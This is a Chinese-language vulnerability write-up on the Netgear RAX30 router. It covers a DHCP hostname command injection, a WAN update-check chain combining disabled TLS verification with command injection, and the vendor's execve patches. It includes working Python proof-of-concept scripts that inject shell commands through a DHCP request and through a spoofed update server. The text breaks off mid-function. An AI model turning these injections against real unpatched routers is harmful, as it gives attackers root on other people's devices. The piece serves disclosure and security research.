Netgear RAX30漏洞挖掘:从LAN侧DHCP注入到WAN侧远程代码执行

本文详细分析了Netgear RAX30路由器中的多个安全漏洞,包括LAN侧DHCP服务中的命令注入漏洞和WAN侧的证书验证绕过与命令注入链,并探讨了漏洞利用方式及补丁分析。

Netgear RAX30漏洞的最后喘息——Pwn2Own Toronto 2022前的悲情故事

背景

不久前,我们开始研究一些Netgear路由器,并从中学到了很多。然而,Netgear最近在其RAX30路由器固件中修补了多个漏洞,包括我们为Pwn2Own Toronto 2022准备的两个LAN侧DHCP接口漏洞和一个WAN侧远程代码执行漏洞。本博客重点关注版本1.0.7.78中发现的漏洞。您可以从此链接下载固件,并使用binwalk轻松提取。所有漏洞均在Netgear RAX30的1.0.7.78版本中发现和测试。已知1.0.7.78及更早版本也易受攻击。

LAN漏洞分析

路由器LAN侧暴露了许多服务,如:upnp、lighttpd、hostapd、minidlnad、smb等。我们决定专注于DHCP服务中的一个LAN漏洞。

DHCP命令注入

我们发现的漏洞之一是LAN侧DHCP服务中的命令注入漏洞。当发送类型为DHCPREQUEST的DHCP请求数据包时,此漏洞触发,如下代码片段所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __fastcall __noreturn dhcpd(int a1, int a2)
{
    // 截断...
LABEL_84:
    switch ( *state )
    {// 截断...
      case DHCPREQUEST:
        requested_1 = (unsigned int *)get_option(&packet, DHCP_REQUESTED_IP);
        server_id_1 = (int *)get_option(&packet, DHCP_SERVER_ID);
        hostname = (const char *)get_option(&packet, DHCP_HOST_NAME); // [1]
        option55 = (char *)get_option(&packet, DHCP_PARAM_REQ);
        if ( requested_1 )
          v7 = *requested_1;
        if ( server_id_1 )
          v83 = *server_id_1;
        v45 = (char *)get_option(&packet, DHCP_VENDOR);
        test_vendorid(&packet, v45, &v87);
        v46 = v87;
        if ( v87 )
          goto LABEL_12;
        v47 = (unsigned __int8 *)MAX_DHCP_INFORM_COUNT;
        break; 
        // 截断...
LABEL_106:
    if ( lease )
    {
// 截断...
      if ( hostname )
      {
        v51 = *((unsigned __int8 *)hostname - 1);
        if ( v51 >= 0x3F )
          v51 = 63;
        strncpy(lease + 24, hostname, v51);
        lease[v51 + 24] = 0;
        send_lease_info(0, (int)lease); // [2]
      }

数据包结构中的hostname字段(在[1]处)存储在lease结构的hostname字段中。然后,如果hostname字段不为空,将调用send_lease_info函数(在[2]处)。在send_lease_info函数中,hostname被复制到system函数的参数命令中(在[1]处),允许在[2]处进行命令注入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease) 
{
// 截断...
  if ( !a1 )
  {
// 截断 ...
    if ( body.hostName[0] )
    {
      strncpy((char *)HostName, body.hostName, 0x40u); // [1]
      snprintf((char *)v11, 0x102u, "%s", body.vendorid);
    }
    else
    {
      strncpy((char *)v10, "unknown", 0x40u);
      strncpy((char *)v11, "dhcpVendorid", 0x102u);
    }
    sprintf(
      command,
      "pudil -a %s %s %s %s \"%s\"",
      body.macAddr,
      body.ipAddr,
      (const char *)HostName,
      body.option55,
      (const char *)v11);
    system(command);   // [2]
  }
//...
}

DHCP命令注入的利用

要利用此漏洞,我们必须找到一种方法将有效载荷放入hostname字段的有限空间(仅63字节)中。我们成功将有效载荷放入可用字节中。一旦准备好有效载荷,我们将其发送到路由器的DHCP请求数据包中,然后以system函数的权限(在此设备上为root权限)执行有效载荷。以下脚本是概念验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import dhcppython
from ipaddress import IPv4Address
import socket
import sys

def send_requests_packet(hostname):

    opt_list = dhcppython.options.OptionList(
        [
            dhcppython.options.options.short_value_to_object(53, "DHCPREQUEST"),
            dhcppython.options.options.short_value_to_object(54, "192.168.5.1"),
            dhcppython.options.options.short_value_to_object(50, "192.168.5.11"),
            dhcppython.options.options.short_value_to_object(12, hostname),
            dhcppython.options.options.short_value_to_object(55, [1, 3, 6, 15, 26, 28, 51, 58, 59, 43])
        ]
    )
    pkt = dhcppython.packet.DHCPPacket(op="BOOTREQUEST", htype="ETHERNET", hlen=6, hops=0, xid=123456, secs=0, flags=0, ciaddr=IPv4Address(0), yiaddr=IPv4Address(0), siaddr=IPv4Address(0), giaddr=IPv4Address(0), chaddr="DE:AD:BE:EF:C0:DE", sname=b'', file=b'', options=opt_list)
    print(pkt) 
    print (pkt.asbytes)

    # send DHCP packet to server by udp protocol
    pl = pkt.asbytes
    SOC = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    SOC.sendto(pl, ('192.168.5.1', 67) )

send_requests_packet("a`touch /tmp/test`b")

DHCP命令注入的补丁分析

固件版本1.0.9.90的热修复通过使用execve代替system函数修补了此漏洞。我们决定查看热修复。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall send_lease_info(int a1, dhcpOfferedAddr *lease)
{
	//...
    if ( body.hostName[0] )
      hostName = body.hostName;
    else
      hostName = "unknown";
    strncpy(hostname, hostName, 0x40u);
    if ( body.vendorid[0] )
      snprintf(vendorid, 0x102u, "%s", body.vendorid);
    else
      strncpy(vendorid, "dhcpVendorid", 0x102u);
    argv[4] = hostname;
    argv[6] = vendorid;
    argv[0] = "pudil";
    argv[2] = body.macAddr;
    argv[3] = body.ipAddr;
    argv[1] = "-a";
    argv[5] = body.option55;
    argv[7] = 0;
    v10 = fork();
    if ( v10 )
    {
      do
      {
        if ( waitpid(v10, &v12, 0) == -1 )
          perror("waitpid");
      }
      while ( (v12 & 0x7F) != 0 && ((v12 & 0x7F) + 1) << 24 >> 25 <= 0 );
    }
    else
    {
      execve("/bin/pudil", argv, 0);
    }
  }
// ...

在尝试绕过补丁时,我们深入研究了pudil二进制文件。该二进制文件使用8个参数运行并解析它们。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, char **argv, char **a3)
{
	///...
  while ( 1 )
  {
    option = getopt(argc, argv, "hamdfFiuU");
    // ...
      switch ( option )
      {
        case 'a':
          if ( argc != 7 )
            continue;
          v7 = 0;
          body_macAddr = argv[2];
          //..
          if ( !body_macAddr )
          {
            printf("\n\x1B[31m%s error agruments \x1B[0m\n", "get_connectedInterface");
            goto LABEL_14;
          }
          break;
  }
  	  ///...
  while ( 1 )
      {
        memset(v29, 0, 0x100u);
        snprintf((char *)v29, 0x100u, "cat /proc/pega/hostname| grep -i %s | awk '{printf $4}'", body_macAddr);
        DBG_PRINT("cmd = %s\n", (const char *)v29);
        v14 = popen((const char *)v29, "r");
      //...

主函数检查选项,我们注意到body_macAddr变量直接通过popen函数传递。然而,进一步检查变量的创建方式后,我们确信它不易受攻击。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
cmsUtl_macNumToStr(lease->chaddr, body.macAddr);
//...
int __fastcall cmsUtl_macNumToStr(unsigned __int8 *char_mac, char *dest_str)
{
//...
  else
  {
    sprintf(
      dest_str,
      "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x",
      *char_mac,
      char_mac[1],
      char_mac[2],
      char_mac[3],
      char_mac[4],
      char_mac[5]);
    return 0;
  }
}

macAddr变量是将6字节十六进制数据转换为十六进制字符串的结果,因此是安全的,不易受攻击。因此,此补丁对此漏洞非常有效。

WAN利用链

在捕获路由器WAN端口的数据包后,我们发现Netgear路由器连接到多个域,包括devcom.up.netgear.com和time-e.netgear.com。我们发现这些连接非常有趣。

Netgear Router RAX30不当证书验证

进一步调查后,我们发现负责检查固件升级的pucfu二进制文件在启动时由"libfwcheck.so"中的get_check_fw->fw_check_api函数执行。此函数向UpBaseURL发送post HTTPS请求,该URL在d2d数据库中定义为"https://devcom.up.netgear.com/UpBackend/"。

post HTTPS请求使用curl_post函数发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
size_t __fastcall curl_post(const char *url, const char *post_data, void **p_html
{
  /* ... */ 
  ((void (*)(int, const char *, ...))fw_debug)(1, " URL is %s\n", url);
  curl_easy_setopt(curl, CURLOPT_URL, url);
  curl_easy_setopt(curl, CURLOPT_HTTPHEADER, https_hdr);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data);
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);   // [1]
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);   // [2]
  curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
  v12 = strlen(post_data);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, v12);
  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_writedata_cb);
  curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
  if ( curl_easy_perform(curl) )
  /* ... * /
}

(此代码片段在curl_post中,对应于地址0x6B60的汇编代码)。

Netgear Router RAX30存在安全缺陷,允许攻击者控制固件更新过程。这是因为CURLOPT_SSL_VERIFYHOST和CURLOPT_SSL_VERIFYPEER选项在[1]和[2]处关闭,这意味着客户端不会对服务器执行证书检查。这允许攻击者设置虚假的DHCP和DNS服务器并冒充更新服务器。

服务器的响应如下所示:

1
2
3
4
{
    'status': 1,
    'url': ....
}

响应中的url将写入"/tmp/fw/cfu_url_cache",并将在以后使用。

Netgear Router RAX30命令注入

执行pufwUpgrade二进制文件以检查固件更新,检查更新的URL从文件"/tmp/fw/cfu_url_cache"中读取。FwUpgrade_download_FwInfo函数将URL作为第一个参数传递给DownloadFiles函数,这意味着攻击者可以控制URL并可能注入恶意命令。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall FwUpgrade_download_FwInfo(int option)
{//...
    while ( 1 )
    {
      SetFileValue("/data/fwLastChecked", "lastDL_sku", v69);
      SetFileValue("/data/fwLastChecked", "lastDL_url", g_url_update);
      v4 = DownloadFiles(&fw_upgrade, "/tmp/fw/dl_fileinfo_unicode", "/tmp/fw/dl_result", 0);
  //...
    }
}
int __fastcall DownloadFiles(const char *url_update, const char *a2, char *filename, int a4)
{
  //...
      if ( is_https )
        //...
      else
        snprintf(
          s,
          0x1F4u,
          "(curl --fail --insecure %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> %s; echo $? > %s)",
          url_update,     // [1]
          v7,
          a2,
          "/tmp/curl_result_err.txt",
          "/tmp/curl_result.txt");
      j_DBG_PRINT("%s:%d, cmd=%s\n", "DownloadFiles", 328, s);
      if ( j_pegaPopen(s, "r") )
  //...
}

我们路由器的URL将存储在命令行字符串中,使其易受命令注入攻击。

WAN利用

要利用此漏洞,我们可以伪造一个http服务器来处理来自路由器的请求。以下代码显示如何使用Python完成此操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
response_data = (
'{\r\n'
'    "status": 1,\r\n'
'    "url": "`touch /tmp/aaa`"\r\n'
'}\r\n'
)

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(response_data)

if __name__ == "__main__":
    webServer = HTTPServer(('0.0.0.0', 8000), MyHandler)
    print("Server started http://%s:%s" % ('0.0.0.0', 8000))
    #...

WAN漏洞的补丁分析

为了修补此漏洞,LAN侧将在版本1.0.9.90中使用execve进行修补。以下代码显示了如何完成此操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  argv[0] = "curl";
  argv[2] = "--insecure";
  argv[3] = "--cacert";
  argv[4] = "/opt/xagent/certs/ca-bundle-mega.crt";
  argv[5] = url_update;
  argv[6] = "--max-time";
  argv[8] = "--speed-time";
  argv[9] = "15";
  argv[10] = "--speed-limit";
  argv[12] = "-o";
  argv[13] = a4;
  argv[14] = 0;
//...
    execve("/bin/curl", argv, 0);
  }

目前,我们没有解决方案来绕过curl二进制文件的补丁。然而,我们有一个想法使用cron作业触发此漏洞。如UART日志所示,路由器运行/bin/pufwUpgrade -s以将调度程序更新添加到/var/spool/cron/crontabs/cfu文件中,该文件如下所示:

1
2
# cat /var/spool/cron/crontabs/cfu
59 3 * * * /bin/pufwUpgrade -A

这意味着在凌晨3:59,路由器将下载升级文件并重写系统。但是,我们能控制cfu文件的时间吗?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//...
      seed = time(0);
      srand(seed);
      rand_num = rand() % 180;
      memset(v19, 0, 0x200u);
      v14 = sub_156A8(rand_num, 60u);
      snprintf(
        (char *)v19,
        0x1FFu,
        "echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
        rand_num % 60,
        v14 + 1,
        "/var/spool/cron/crontabs",
        "cfu");
      pegaSystem((int)v19);
//...

我们路由器上的固件更新过程每天发生一次。确切时间由/bin/pufwUpgrade -s命令控制。我们尝试使用ntpserver操纵路由器上的时间,但似乎没有奏效 T_T

/bin/pufwUpgrade -A命令的逻辑如下:PerformAutoFwUpgrade => FwUpgrade_DownloadFW => FwUpgrade_WriteFW。这些函数的代码如下所示:

1
2
3
4
5
6
7
8
int FwUpgrade_DownloadFW()
{
  //...
      SetFileValue("/data/fwLastChecked", "lastDL_url", &url);
      v0 = DownloadFiles(url_fw_file, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
//...
}
int Fw
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计